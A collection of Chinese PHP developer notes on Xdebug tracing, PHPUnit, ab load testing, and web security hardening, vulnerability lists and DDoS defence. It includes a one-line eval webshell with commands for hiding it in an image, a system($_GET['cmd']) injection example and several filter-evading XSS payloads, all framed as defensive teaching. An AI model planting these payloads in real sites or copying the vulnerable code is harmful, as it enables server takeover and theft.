但有时候只需要回溯某一个地址的运行轨迹,可以通过设置xdebug.trace_enable_trigger=on来实现,但前提是要设置xdebug.auto_trace=off(或删除这个选项))
xdebug.auto_trace=off
xdebug.trace_enable_trigger=on
xdebug.trace_output_dir="E:\xdebug"
访问/index.php不会产生回溯记录,但是如果修改一下URL参数,加上XDEBUG_TRACE这个参数名,不用参数值
就是访问这样的/index.php?XDEBUG_TRACE地址,然后就会产生文件了,这就是通过GET参数触发
而通过POST请求也是这样,如果POST参数中带有XDEBUG_TRACE才会有回溯
$.ajax({
url : '/index.php',
type : 'post',
data : {
a : 1,
XDEBUG_TRACE : 11 //这个值随便设置,如果不设置就不会POST这个字段上去
}
});
2、函数触发
在测试前请先确认配置xdebug.auto_trace=off(关闭自动回溯)
然后找到你要开始追踪回溯的代码位置调用xdebug_start_trace函数,再在要停止追踪回溯的位置调用xdebug_stop_trace函数,这样就会生成回溯信息,并且是对开始和结束trace函数之间的代码进行记录,其它无关的代码是不记录的
$str = 'abc';
$str1 = substr($str,0,2);
xx('a','b');
function xx($a,$b){
xdebug_start_trace(); //开始记录回溯
$x = array();
array_push($x,$a);
print(222);
array_push($x,$b);
xdebug_stop_trace(); //结束记录回溯
yy();
return $x;
}
function yy(){
print_r(123);
}
并且要注意,通过函数触发的话并不需要什么配置,只要开启了扩展就可以,就是只保留zend_extension="xdebug.dll"就可以,其它xdebug的相关配置可以完全不配置,如果有文件名定制需求就再保留xdebug.trace_output_name选项就足够了
如果开启了xdebug.auto_trace其实相当于让PHP启动时就自动执行xdebug_start_trace函数,于是会报错说这个函数已经执行过了,所以为避免麻烦请不要开启xdebug_start_trace
这个调试更加精准,因为如果整个运行周期都回溯下来,起码有成千上万行,查找成为了艰难的事情
而函数触发时就缩小了需要的范围,查找就快捷了很多!
php单元测试
单元测试是指对软件中的基本单元进行测试,如函数、方法等,以检查其返回值或行为是否符合预期 实际中软件是很复杂的,由许多组件构成,执行流程连贯在一起,要进行单元片段的测试,就需要为其提供执行上下文(或说参数)和环境(比如打桩模拟一些对象)来运行,并监控其行为和返回值,为此就需要写出做这件事情的程序代码,这样的代码叫做测试用例,许多测试用例有机结合在一起形成一个整体的测试,又叫做测试套件,被测试的程序代码叫做生产代码 单元测试的作用归根结底就是保护,甚至提升开发者对代码的自信心(无论是自己的代码还是团队其他成员写的代码都有可能因此受益),而且无论是测试即有代码还是为编写新的代码,亦或是为重构老代码做准备,这一点(保护和提升自信心)都是成立的 但凡是测试其基本原理都是一样的: 你给测试用例一种输入,然后断言其结果,最后执行并观察断言是否正确;以此类推,你写 N 个测试用例,每一个都覆盖某种可能的输入(边界条件)并断言可能的结果(结果可能是返回值,也可能是某种行为所体现的特征),然后执行观察结果。如是而已 优点 1、它是一种验证行为。 程序中的每一项功能都是测试来验证它的正确性。它为以后的开发提供支援。就算是开发后期,我们也可以轻松的增加功能或更改程序结构,而不用担心这个过程中会破坏重要的东西。而且它为代码的重构提供了保障。这样,我们就可以更自由的对程序进行改进。 2、它是一种设计行为。 编写单元测试将使我们从调用者观察、思考。特别是先写测试(test-first),迫使我们把程序设计成易于调用和可测试的,即迫使我们解除软件中的耦合。 3、它是一种编写文档的行为。 单元测试是一种无价的文档,它是展示函数或类如何使用的最佳文档。这份文档是可编译、可运行的,并且它保持最新,永远与代码同步。 4、它具有回归性。 自动化的单元测试避免了代码出现回归,编写完成之后,可以随时随地的快速运行测试 极限编程(Extreme Programming,或简称XP)讲究TDD,即测试驱动开发,先编写测试代码,再进行开发 当需要向系统内添加新的功能时,首先为其编写测试。然后,当测试能够正常运行就标志着开发完成了 从经验来看,先编写产品函数的框架,然后编写测试函数,针对产品函数的功能编写测试用例,然后编写产品函数的代码,每写一个功能点都运行测试,随时补充测试用例 TDD: Test-Driven Development 测试驱动开发 TDD的精神如下: 测试先行 确保程序是朝着目标前进 只写能被测试的程序 配合重构来强化程序 【 phpunit 】 phpunit这个软件就是用来帮助写测试用例并进行测试的 phpunit软件本身就是由php语言实现,其使用是通过命令行进行的,并不是通过浏览器访问 PHPUnit is a programmer-oriented testing frameworkfor PHP. It is an instance of the xUnit architecture for unit testing frameworks. 如果用Composer来管理项目的依赖关系,只要在项目的composer.json文件中简单地加上对phpunit/phpunit的依赖关系即可 composer require --dev phpunit/phpunit ^5.7
PHP测试与优化-- Apache自带的压力测试工具ab(apache bench)
ab是apache自带的网站压力测试工具,能够测试网站在一定时间内的发生高并发时的反应,一般已经安装了Apache就不需要安装ab模拟并发级别为100,请求数为1000个的api数据请求数量测试
响应时间=网络响应时间+应用程序响应时间。标准可参考国外的3/5/10原则:
(1)在3秒钟之内,页面给予用户响应并有所显示,可认为是"很不错的";
(2)在3~5秒钟内,页面给予用户响应并有所显示,可认为是"好的";
(3)在5~10秒钟内,页面给予用户响应并有所显示,可认为是"勉强接受的";
(4)超过10秒就让人有点不耐烦了,用户很可能不会继续等待下去;
所以
一个测试网站在预估正常情况下的请求数与并发量的模拟测试,
结果如果80%的请求完成率在3秒以内,就代表访问页面的性能为优秀;
结果如果80%的请求完成率在5秒以内,就代表访问页面的性能为良好;
结果如果80%的请求完成率在10秒以内,就代表访问页面的性能为中;
结果如果80%的请求完成率在10秒以上,就代表访问页面的性能为差。
【 ab命令 】
./ab [options] [http://]hostname[:port]/path
测试的同时可以在被测试的服务器上使用top命令查看CPU和内存的实时使用情况
-n在测试会话中所执行的请求个数,默认仅执行一个请求。
-c模拟多少客户端,一次产生的请求个数,默认一次一个。
-t测试所进行的最大秒数,其内部隐含值是-n 50000,它可以使对服务器的测试限制在一个固定的总时间以内,默认没有时间限制。
-p包含了需要POST的数据的文件。
-P对一个中转代理提供BASIC认证信任,用户名和密码由一个:隔开,并以base64编码形式发送。无论服务器是否需要(即是否发送了401认证需求代码),此字符串都会被发送。
-T POST数据所使用的Content-type头信息。
-v设置显示信息的详细程度-4或更大值会显示头信息,3或更大值可以显示响应代码(404,200等),2或更大值可以显示警告和其他信息。
-V显示版本号并退出。
-w以HTML表的格式输出结果,默认白色背景的两列宽度的一张表。
-i执行HEAD请求,而不是GET。
-x设置属性的字符串。
-X对请求使用代理服务器。
-y设置属性的字符串。
-z设置属性的字符串。
-C对请求附加一个Cookie:行。其典型形式是name=value的一个参数对,此参数可以重复。
-H对请求附加额外的头信息。此参数的典型形式是一个有效的头信息行,其中包含了以冒号分隔的字段和值的对(如"Accept-Encoding:zip/zop;8bit")。
-A对服务器提供BASIC认证信任。用户名和密码由一个:隔开,并以base64编码形式发送。无论服务器是否需要(即是否发送了401认证需求代码),此字符串都会被发送。
-h显示使用方法。
-d不显示"percentage served within XX [ms] table"的消息(为以前的版本提供支持)。
-e产生以逗号分隔的(CSV)文件,其中包含处理每个相应百分比的请求所需要(从1%到100%)的相应百分比的(单位微妙)时间。由于这种格式已二进制化,所以比gnuplot格式更有用。
-g把所有测试结果写入一个'gnuplot'或TSV(以Tab分隔的)文件,此文件可以方便地导入到Gnuplot,IDL,Mathematica,Igor甚至Excel中。其中的第一行为标题。
-i执行HEAD请求,而不是GET。
-k启用HTTP KeepAlive功能,即在一个HTTP会话中执行多个请求,默认时不启用KeepAlive功能。
-q如果处理的请求数大于150,ab每处理大约10%或者100个请求时,会在stderr输出一个进度计数,-q标记可以抑制这些信息。
POST /user/login
$ type user_login
{"email":"34343@qq.com","password":"34343"}
$ ab -n 100 -kc 10 -p user_login -T 'application/json' -H 'Accept-Encoding:gzip,deflate' -H 'accept-lcanguage:zh-Hans-CN;q=0.9' http://xxx/user/login
$ type post.txt
page=1&pagesize=10
page=1&pagesize=10¶ms={"position":{"latitude":39.73,"longitude":116.37}}
$ ab -n 1 -c 1 -p post.txt -T application/x-www-form-urlencoded "http://blog.csdn.net"
$ GET /default/index
$ ab -n 1000 -c 100 http://xxx/default/index
cookie设置
$ ab -n 1 -c 1 -C "key=value" "https://blog.csdn.net"
$ ab -n 1 -c 1 -H "Cookie: key1=value1; key2=value2" "https://blog.csdn.net" # 需要多个Cookie就直接设Header
$ abs: https请求
$ abs -n 1 -c 1 "https://blog.csdn.net/"
web safe php代码审计
基本原则: 不对外界展示服务器或程序设计细节(屏蔽错误,将display_errors设置为off),不相信任何用户提交的数据(过滤用户提交)php代码审计
整体了解: 1、网站结构: 浏览源码文件夹,了解程序的大致目录。 admin:后台管理目录 install:网站的安装目录,其中的install.sql为数据库的结构信息 sys:这个目录里面一般存放着配置信息文件和公共函数库,分别为config.php和lib.php user:这里面记录着用户的一些操作,如用户注册等 index.php:一般为网页的首页文件,也是审计的突破口 2、入口文件: index.php、admin.php文件一般都是整个程序的入口,通过index文件可以知道程序的架构、运行流程、包含哪些配置文件、哪些过滤文件以及安全过滤文件,了解程序的业务逻辑。 3、配置文件: 一般类似config.php等文件,保存一些数据库相关信息、程序的一些信息。先看看数据库编码,若是gbk则可能存在宽字节注入;若变量的值用双引号,则可能存在双引号解析代码执行的问题。 4、过滤功能: 通过公共函数文件、安全过滤文件可看出用户输入的数据哪些被过滤和哪些无过滤,在哪、如何过滤,能否绕过过滤的数据,过滤的方式是替换还是正则,有无GPC和使用addslasher()处理等。 常见的功能漏洞: 程序初始安装漏洞 站点信息泄露 文件上传管理 登录认证、权限管理漏洞 数据库备份漏洞 验证码漏洞等 漏洞形成的条件: 1、可控的变量(一切输入都是有害的) 2、变量到达有利用价值的函数(危险的函数) 代码审计的本质 找漏洞其实相当于找对应变量和函数。 变量跟踪的过程: 正向跟踪——通过变量找函数 逆向跟踪——通过函数找变量
判断网站后端开发语言
静态网站: 网页内容主要是通过写死的html呈现给浏览器; 动态网站: 网页内容可能是通过后端编程语言如(java, .net, php等)动态生成的。 1)查看网页的后缀名 含.do的网址,可能是java开发,而且用到了java servlet技术; 含.jsp的网址,可能是用java开发; 含.aspx的网址,可能是用asp.net开发 含.asp的网址,可能是用asp开发; 含.php的网址,可能是用.php开发; Server Side Includes技术拓展名为.shtml或.html或.htm PHP技术拓展名为.php JSP技术拓展名为.jsp或.jsf(JSF技术是JSP技术的拓展) ASP.NET技术,拓展名为.aspx (x代表extension) ASP技术拓展名为.asp ColdFusion技术拓展名为.cfc 一般用资源转向功能或用Apache有一个URL Rewriting的Module,PHP网站的拓展名改变就常用这个URL Rewriting把.php拓展名改成任意名字。 2)通过firefox等工具查看网络请求与网络响应 浏览器调试工具分析Request Header与Response Header,有时也可以通过分析cookie或session去发现一些痕迹,或表单提交地址 通过header信息的x-powered-by等可以探测后台使用的语言 后台语言可以通过服务器类型推测。一般服务器类型可以通过Response Header来看,比如IIS一般是http://ASP.NET。Tomcat、Resin、JBoss一般是Java。Nginx不一定,很有可能是PHP或Python之类的脚本语言 在地址栏里输入javascript:alert(document.cookie);看到JSESSIONID=****可知道这是JSP写的,PHP使用的会话ID是PHPSESSID 3)用多种编程语言开发的多个子站点集成 有些网站可能用了不止一种后端开发语言开发,可能是多个语言的合集,多个子站点集成在一起,这种情况不能很好的判断。 4)伪静态或反向代理 也有一些网站使用了伪静态或反向代理,把真实的网络资源请求给包装隐藏起来了,这种情况也不能很好的判断。 5)域名后面加上/index.php或/index.asp/或index.jsp或/index.aspx哪个能打开就说明是那种语言,比如百度的http://www.baidu.com/index.php就能打开,百度就是php做的,对校内(jsp),淘宝(php)都可以使用 6)把要查看的网址复制粘贴到下面任何一个网址提交就知道了 https://builtwith.com/ https://w3techs.com/sites 7)根据meta信息、script标签判断 不少网站会在meta添加框架的信息,比如Joomla、XOOPS、MediaWiki会添加generator;phpBB会添加copyright;Avactis会添加author。通过这些可以探测网站使用的建站系统,从而知道使用的语言。 8)根据error page 通过error page也可以看到很多信息,比如订票网站就是Java开发的。 9)根据目录结构 包括url的结构,静态文件的结构等,如果使用了开发框架或CMS系统,这些目录结构都有一定的规则。 10)根据网页内容 可以用正则去匹配HTML代码,找出copyright、powered by进而得知使用的语言。
dev vs online
【 关闭危险函数 】
如果打开了安全模式,那么php.ini中disable_functions可以不需要,但为了安全还是考虑进去,能够抵制大部分的phpshell
禁止执行包括system()等在内的能够执行命令的php函数,或能够查看php信息的phpinfo()等函数,那么就可以禁止它们:
disable_functions = system,passthru,exec,shell_exec,popen,phpinfo
禁止任何文件和目录的操作
disable_functions = chdir,chroot,dir,getcwd,opendir,readdir,scandir,fopen,unlink,delete,copy,mkdir,rmdir,rename,file,file_get_contents,fputs,fwrite,chgrp,chmod,chown
eval()是无法用php.ini中的disable_functions禁止掉的,because eval() is a language construct and not a function,eval是zend的
想禁掉eval可以用php的扩展插件Suhosin,安装Suhosin后在php.ini中load进来Suhosin.so,再加上suhosin.executor.disable_eval = on即可
【 错误信息控制 】
一般php在没有连接数据库或其他情况下会有提示错误,一般错误信息中会包含php脚本当前的路径信息或查询的SQL语句等信息,这类信息提供给黑客是不安全的,所以一般服务器建议禁止错误提示:
display_errors = Off
如果确实要显示错误信息,一定要设置显示错误的级别,比如只显示警告以上的信息:
error_reporting = E_WARNING & E_ERROR
【 隐藏服务器响应头X-Powered-By关闭php信息 】
不轻易透露php版本信息,防止黑客针对特定版本的php发动攻击
X-Powered-By不是Apache或Nginx输出的,而是由语言解析器或应用程序框架输出的,用于告知网站是用何种语言或框架编写的
PHP标准输出: X-Powered-By: PHP/5.2.1
ThinkPHP会输出: X-Powered-By: ThinkPHP 2.0
在PHP中删除X-Powered-By
第一种方法
PHP.ini设置expose_php = off
第二种方法
if (function_exists('header_remove')) {
header_remove('X-Powered-By'); // PHP 5.3+
} else {
@ini_set('expose_php', 'off');
}
如果是ThinkPHP框架,利用上面的方法可以将X-Powered-By隐藏掉,也可以直接修改View.class.php文件,误导别人以为是.net开发的
header('X-Powered-By:ThinkPHP');
header('X-Powered-By:asp.net');
在Express中删除X-Powered-By
var app = express();
app.disable('x-powered-by');
【 隐藏Apache的版本号及其它敏感信息 】
安装完apache一般第一时间都是关闭apache的版本信息和其他信息,一些黑客会通过apache暴露出来的信息针对性的入侵,为了服务器的安全这些信息一定要及时关闭
1.主配置中启用httpd-default.conf
# vi /usr/local/apache2/conf/httpd.Conf
//找到httpd-default.conf,删除includes前面的"#",改成如下
Include conf/extra/httpd-default.conf
2.修改httpd-default.conf,/usr/local/apache2/conf/extra/httpd-default.conf
ServerTokens Full
ServerSignature On
改成
ServerTokens Prod
ServerSignature off
【 使用open_basedir限制虚拟主机php脚本跨目录访问 】
使用open_basedir选项能够控制PHP脚本只能访问指定的目录,这样能够避免PHP脚本访问不应该访问的文件,一定程度上限制了phpshell的危害,一般可以设置为只能访问网站目录:
[HOST=www.ttlsa.com]
open_basedir=/data/site/www.ttlsa.com/:/tmp/
[HOST=test.ttlsa.com]
open_basedir=/data/site/test.ttlsa.com/:/tmp/
表示www.ttlsa.com下的php程序被限制在open_basedir配置的两个目录下,不可以访问到其他目录。如果没有做以上的配置则test.ttlsa.com与www.ttlsa.com的程序可以互相访问,如果其中一个站点有漏洞被黑客植入了webshell,那么可通过这个站点拿下同一台服务器的其他站点,最后挂木马
目录最后一定要加上/,比如写/tmp,站点同时存在/tmp123等以/tmp开头的目录,那么黑客也可以访问到这些目录
【 php用户只读 】
推荐,但执行之前一定要和php工程师商量,例如站点www.ttlsa.com根目录用户与组为nobody,而运行php的用户和组为phpuser,目录权限为755,文件权限为644,如此,php为只读,无法写入任何文件到站点目录下,也就是说用户不能上传文件,即使有漏洞,黑客也传不了后门,更不可能挂木马,这么干之前告知程序员将文件缓存改为nosql内存缓存(例如memcached、redis等),上传的文件通过接口传到其他服务器(静态服务器)。
程序生成本地缓存是个非常糟糕的习惯,使用文件缓存速度缓慢、浪费磁盘空间、最重要一点是一般情况下服务器无法横向扩展
【 php上传分离 】
将文件上传到远程服务器,例如nfs等。当然也可以调用写好的php接口,即使有上传漏洞,那么文件也被传到了静态服务器上,木马等文件根本无法执行
举个例子:
php站点www.ttlsa.com,目录/data/site/www.ttlsa.com
静态文件站点static.ttlsa.com,目录/data/site/static.ttlsa.com
文件直接被传到了/data/site/static.ttlsa.com,上传的文件无法通过www.ttlsa.com来访问,只能使用static.ttlsa.com访问,但static.ttlsa.com不支持php
【 禁止动态加载链接库 】
enable_dl = Off;
【 禁用打开远程url 】
allow_url_fopen = Off
其实这点算不上真正的安全,并不会导致web被入侵等问题,但这个非常影响性能,它属于狭义的安全问题
$data = file_get_contents("http://www.baidu.com/"); // 无法获取远程url内容
$data = file_get_contents("1.txt"); // 可以获取本地文件内容
如果站点访问量不大、数据库也运行良好,但web服务器负载出奇的高,请直接检查下是否有这个方法,生产环境应全线禁用,如果需要获取远程web内容,建议使用curl替代file_get_contents
图片木马
@eval($_POST['attack']) 最简单的一句话木马 利用上传文件过滤不完善上传这段PHP代码,@表示后面即使执行错误也不报错 只要攻击者满足三个条件就能实现成功入侵: 木马上传成功未被杀;知道木马的路径在哪;上传的木马能正常运行 windows下的合并文件方法: 图片a.png 文本b.png 生成结果c.png 命令: shift+右键 在当前路径下打开DOS窗口 copy a.png/b + b.txt/a c.png 图片是二进制编码,文本是ascii编码 linux下将file1.txt追加到file2.jpg后面的方法: cat file1.txt >> file2.jpg 若要将两个文件合并成第三个文件而不是追加,那么用命令: cat file1.txt file2.jpg >> file3.jpg 这里融合的顺序和命令有关。上面这个融合好的file3.jpg无法作为图片打开,用编辑器打开后发现文本内容体现在最上方。但若将file1.txt和file2.jpg的顺序调换一下,那么就可以作为图片打开,这时再用编辑器打开此文件,发现文本内容被追加到了最后。
常用的几种web攻击方式
1、越权:
问题描述: 不同权限账户之间存在越权访问。
修改建议: 加强用户权限的验证。
注意: 往往通过不同权限用户之间链接访问、cookie、修改id等。
2、明文传输
问题描述: 对系统用户口令保护不足,攻击者可以利用攻击工具,从网络上窃取合法的用户口令数据。
修改建议: 传输的密码必须加密。
注意: 所有密码要复杂加密,不要用base64或md5。
3、sql注入:
问题描述: 攻击者利用sql注入漏洞,可以获取数据库中的多种信息如管理后台的密码,从而脱取数据库中的内容(脱库)。
修改建议: 对输入参数进行过滤、校验,采用黑白名单方式。
注意: 过滤、校验要覆盖系统内所有的参数。
4、跨站脚本攻击:
问题描述: 对输入信息没有进行校验,攻击者可以通过巧妙的方法注入恶意指令代码到网页。这种代码通常是Js,但实际上也可以包括Java、VBScript、ActiveX、Flash或普通的HTML,攻击成功之后攻击者可以拿到更高的权限。
修改建议: 对用户输入进行过滤、校验,输出进行HTML实体编码。
注意: 过滤、校验、HTML实体编码,要覆盖所有参数。
5、文件上传漏洞:
问题描述: 没有对文件上传限制,可能会被上传可执行文件或脚本文件,进一步导致服务器沦陷。
修改建议: 严格验证上传文件,防止上传asp、aspx、asa、php、jsp等危险脚本,最好加入文件头验证,防止用户上传非法文件。
防御(即审计关注点)
①:使用白名单方式检测文件后缀
②:上传之后按时间能算法生成文件名称
③:上传目录脚本文件不可执行
④:注意 %00 截断
⑤:Content-Type 验证
6、后台地址泄露
问题描述: 后台地址过于简单,为攻击者攻击后台提供了便利。
修改建议: 修改后台地址链接,复杂点。
7、敏感信息泄露:
问题描述: 系统暴露内部信息如网站的绝对路径、网页源代码、SQL语句、中间件版本、程序异常等信息。
修改建议: 对用户输入的异常字符过滤,屏蔽一些错误回显,自定义404、403、500等。
8、命令执行漏洞
问题描述: 脚本程序调用如php的system、exec、shell_exec等。
修改建议: 打补丁,对系统内需要执行的命令要严格限制。
http://lcoalhost/cmd.php?cmd=whoami
$arg = $_GET['cmd'];
if($arg) system("$arg");
9、会话重放攻击
问题描述: 重复提交数据包。
修改建议: 添加token验证,时间戳或图片验证码。
10、CSRF(跨站请求伪造)
问题描述: 使用已经登陆用户,在不知情的情况下执行某种动作的攻击。
修改建议: 添加token验证,时间戳或图片验证码。
11、任意文件包含、任意文件下载:
问题描述: 任意文件包含,系统对传入的文件名没有合理的校验,从而操作了预想之外的文件。任意文件下载,系统提供了下载功能,却未对下载文件名进行限制。
修改建议: 对用户提交的文件名限制,防止恶意的文件读取、下载。
文件漏洞通常是由于网站开发者在进行网站设计时对外部提供的数据缺乏充分的过滤导致黑客利用其中的漏洞在Web进程上执行相应的命令。假如在lsm.php中包含这样一段代码:include($b."/aaa.php".),这对黑客来说可以通过变量$b来实现远程攻击,可以是黑客自已的代码,用来实现对网站的攻击。可以向服务器提交a.php include=http://lZ7.0.0. 1/b.php,然后执行b.php的指令
远程包含则需要php.ini中参数allow_url_include=open,此参数默认为close
文件包含实现代码注入,allow_url_include配置项开启才可实现远程文件包含,allow_url_fopen选项只能在php.ini中设置
12、目录遍历漏洞
问题描述: 应用程序对文件路径没有检查导致服务器上的敏感文件或代码泄露,暴露目录信息如开发语言、站点结构,权限没有设置好
修改建议: 修改相关配置。
13、设计缺陷/逻辑错误:
问题描述: 程序通过逻辑实现丰富的功能。很多情况,逻辑功能存在缺陷。比如,程序员的安全意识、考虑的不周全等。
修改建议: 加强程序的设计和逻辑判断。
14、XML实体注入:
问题描述: 当允许引用外部实体是,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口等等。
修改建议: 使用开发语言提供的禁用外部实体方法,过滤用户提交的XML数据。
15、检测存在风险的无关服务和端口
问题描述: 检测存在风险的无关服务和端口,为攻击者提供便利。
修改建议: 关闭无用的服务和端口,前期只开80和数据库端口,使用的时候开放20或者21端口。
16、登陆功能验证码漏洞
问题描述: 不断恶意重复一个有效的数据包,重复发给服务端。服务端未对用户提交的数据包进行有效的限制。
修改建议: 验证码在服务器后端刷新,数据包提交一次数据数刷新一次。
17、不安全的cookies
问题描述: cookies中包含用户名或密码等敏感信息。
修改建议: 去掉cookies中的用户名密码。
18、SSL3.0
问题描述: SSL是为网络通信提供安全及数据完整性的一种安全协议。SSl会爆一些漏洞。如: 心脏滴血漏洞等。
修改建议: 升级OpenSSL版本
19、SSRF漏洞:
问题描述: 服务端请求伪造。
修改建议: 打补丁或卸载无用的包
20、默认口令、弱口令
问题描述: 因为默认口令、弱口令很容易让人猜到。
修改建议: 加强口令强度
注意: 口令不要出现常见的单词。如root123456、admin1234、qwer1234、p@ssw0rd等
Session漏洞的防范
从前面的分析可以知道,Session攻击最常见的就是会话劫持,也就是黑客通过各种攻击手段获取用户的Session ID,然后利用被攻击用户的身份来登录相应网站。为此,这里可以用以下几种方法进行防范:一是定期更换Session ID,更换Session ID可以用PHP自带函数来实现;二是更换Session名称,通常情况下Session的默认名称是PHPSESSID,这个变量一般是在cookie中保存的,如果更改了它的名称,就可以阻档黑客的部分攻击;三是对透明化的Session ID进行关闭处理,所谓透明化也就是指在http请求没有使用cookies来制定Session id时,Sessioin id使用链接来传递.关闭透明化Session ID可以通过操作PHP.ini文件来实现;四是通过URL传递隐藏参数,这样可以确保即使黑客获取了session数据,但是由于相关参数是隐藏的,它也很难获得Session ID变量值
【 Dos攻击(Denial of Service attack) 】
DDOS中的DOS是denial of service(停止服务)表示攻击的目的就是使得服务中断,最前面的D是distributed表示攻击是分布式的,因此更难防
原理是短时间内发送大量的合法请求到服务器,服务器无法分辨这些请求是正常请求还是攻击请求,所以都会照单全收,海量的请求会造成服务器停止工作或拒绝服务的状态,耗尽服务器的资源,无法响应正常的访问,造成网站实质下线
DDOS的种类
DDOS不是一种攻击,而是一大类攻击的总称,它有几十种类型,新的攻击方法还在不断发明出来,网站运行的各个环节都可以是攻击目标。只要把一个环节攻破,使得整个流程跑不起来,就达到了瘫痪服务的目的。
其中比较常见的一种攻击是cc攻击,它就是简单粗暴地送来大量正常的请求,超出服务器的最大承受量,导致宕机。
最多的时候全世界大概20多个IP地址轮流发出请求,每个地址的请求量在每秒200次左右
HTTP请求的拦截
如果恶意请求有特征,对付起来很简单: 直接拦截它就行了。
HTTP请求的特征一般有两种: IP地址和User Agent字段。比如恶意请求都是从某个IP段发出的,那么把这个IP段封掉就行了。或它们的User Agent字段有特征(包含某个特定的词语),那就把带有这个词语的请求拦截。
拦截可以在三个层次做:
(1)专用硬件
Web服务器的前面可以架设硬件防火墙,专门过滤请求。这种效果最好,但价格也最贵。
(2)本机防火墙
操作系统都带有软件防火墙,Linux服务器一般使用iptables,iptables比较复杂,对服务器性能有一定影响,也防不住大型攻击
$ iptables -A INPUT -s 1.2.3.4 -j DROP # 拦截IP地址1.2.3.4的请求
(3)Web服务器
Web服务器也可以过滤请求,Web服务器的拦截非常消耗性能,尤其是Apache,稍微大一点的攻击这种方法就没用了。
nginx拦截IP地址1.2.3.4
location / {
deny 1.2.3.4;
}
Apache的写法是在.htaccess文件里面加上下面一段
< RequireAll>
Requier all granted
Require not ip 1.2.3.4
RequireAll>
如果想要更精确的控制(比如自动识别并拦截那些频繁请求的IP地址)就要用到WAF,nginx这方面的设置可以参考如下地址:
https://www.nginx.com/blog/mitigating-ddos-attacks-with-nginx-and-nginx-plus/
https://www.nginx.com/blog/rate-limiting-nginx/
带宽扩容
HTTP拦截有一个前提就是请求必须有特征,但真正的DDOS攻击没有特征,它的请求看上去跟正常请求一样,且来自不同的IP地址,所以没法拦截,这就是为什么DDOS特别难防的原因,当然这样的DDOS攻击的成本不低,普通的网站不会有这种待遇。不过真要遇到了有没有根本性的防范方法呢?
答案很简单,就是设法把这些请求都消化掉。对于网站来说就是在短时间内急剧扩容,提供几倍或几十倍的带宽,顶住大流量的请求。这就是为什么云服务商可以提供防护产品,因为他们有大量冗余带宽,可以用来消化DDOS攻击。
某云服务商承诺,每个主机保5G流量以下的攻击,他们就一口气买了5个。网站架设在其中一个主机上面,但不暴露给用户,其他主机都是镜像,用来面对用户,DNS会把访问量均匀分配到这四台镜像服务器。一旦出现攻击,这种架构就可以防住20G的流量,如果有更大的攻击,那就买更多的临时主机,不断扩容镜像。
CDN
CDN指的是网站的静态内容分发到多个服务器,用户就近访问,提高速度,因此CDN也是带宽扩容的一种方法,可以用来防御DDOS攻击。
网站内容存放在源服务器,CDN上面是内容的缓存。用户只允许访问CDN,如果内容不在CDN上,CDN再向源服务器发出请求。这样的话只要CDN够大就可以抵御很大的攻击。不过这种方法有一个前提,网站的大部分内容必须可以静态缓存。对于动态内容为主的网站如论坛就要想别的办法,尽量减少用户对动态数据的请求。
镜像服务器本质就是自己搭建一个微型CDN,各大云服务商提供的高防IP,背后也是这样做的: 网站域名指向高防IP,它提供一个缓冲层,清洗流量,并对源服务器的内容进行缓存。
一旦上了CDN,千万不要泄露源服务器的IP地址,否则攻击者可以绕过CDN直接攻击源服务器,前面的努力都白费
cloudflare是一个免费CDN服务,并提供防火墙,高度推荐
对服务器加防火墙封ip
限制输入次数
【 ip2long() 】
ip2long ( string $ip_address ) : int
将IPV4的字符串互联网协议转换成长整型数字,从标准网络地址格式(点字符串)转化得到,返回FALSE如果ip_address无效
ip2long()还可以与非完整IP进行工作
使用ip2long()和long2ip()函数来把IP地址转化成整型存储,可以使计算一个特定的地址是不是在一个区段内更简单,而且加快了搜索和排序的速度
$ip = gethostbyname('www.baidu.com');
echo "The following URLs are equivalent: http://www.baidu.com/, http://$ip/, and http://" . sprintf("%u", ip2long($ip)) . "/";
$ip = gethostbyname('www.baidu.com');
$long = ip2long($ip);
if ($long == -1 || $long === FALSE) {
echo 'Invalid IP, please try again';
} else {
echo $ip . "\n"; // 192.0.34.166
echo $long . "\n"; // -1073732954
printf("%u\n", ip2long($ip)); // 3221234342
}
因为PHP的integer类型是有符号,并且有许多的IP地址讲导致在32位系统的情况下为负数,需要使用"%u"进行转换通过sprintf()或printf()得到的字符串来表示无符号的IP地址。
【 long2ip() 】
long2ip ( int $proper_address ) : string
将长整型转化为字符串形式带点的��联网标准格式地址(IPV4),通过长整型的表达形式转化生成带点格式的互联网地址,例如:aaa.bbb.ccc.ddd
php实现ip白名单黑名单功能
接口只是针对个别业务使用,建议添加IP白名单。通过IP白名单来限制访问源,可以有效避免外部恶意攻击者的请求
【 跨站点请求伪造(CSRF,Cross-Site Request Forgeries) 】
指攻击者通过已经设置好的陷阱,强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态的更新,属于被动攻击。
简单的理解就是攻击者盗用了用户的名义,以用户的名义发送了请求。
CSRF最简单的例子就是用户A登录了网站A在虚拟账户里转账了1000块钱,用户A在本地生成了网站A的cookie,用户A在没有关闭网站A的情况下又访问了恶意网站B,恶意网站B包含请求A网站的代码,利用了本地的cookie经过身份验证的身份又向网站A发送了一次请求,这时就会发现在网站A的账户又少了1000块,这就是基本的CSRF攻击方式。
【 XSS攻击(Cross-Site scripting) - 桂林老兵cookie欺骗工具 】
跨站脚本攻击指通过在网站注册的用户的浏览器内运行非法的HTML标签或js代码达到攻击的目的,如盗取用户的cookie、改变网页的DOM结构、重定向到其他网页等。
攻击方式:
1、反射型
发出请求时xss代码出现在URl中作为输入提交到服务器端,服务器端解析响应,xss代码随响应内容一起传回浏览器,最后浏览器解析执行xss代码,这个过程像一次反射,故叫反射型xss
2、存储型
和反射型区别在于提交的代码会存储在服务器端(数据库、内存、文件系统等),下次请求目标页面时不用再次提交xss代码
表单、地址栏输入
< script>alert('xss') script>
< script>alert(& #039;xss& #039;) script>
" onclick="alert(& #039;xss& #039;)
< img scr=1 onerror=alert('xss')>当找不到图片名为1的文件时,执行alert('xss')
< img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")> img>过滤了alert来执行弹窗
< img src="javascript:alert('xss');">
< img src='vbscript:msgbox("xss")'>
< a href=javascrip:alert('xss')>s a> 点击s时运行alert('xss')
< iframe src=javascript:alert('xss');height=0 width=0 />< iframe>利用iframe的scr来弹窗
< img src=javascript:alert('XSS')>
< body background="javascript:alert('xss')">
< div style="background-image: url(javascript:alert('xss'))">
< div style="width: expression(alert('xss'));">(使用expression是十分灵活的,例如如果过滤了expression,他还可以使用exp/**/resssion,过滤了/**/,他还可以使用exp/*sometext*/ression)
< style>@im\port'\ja\vasc\ript:alert("xss")';< /style>
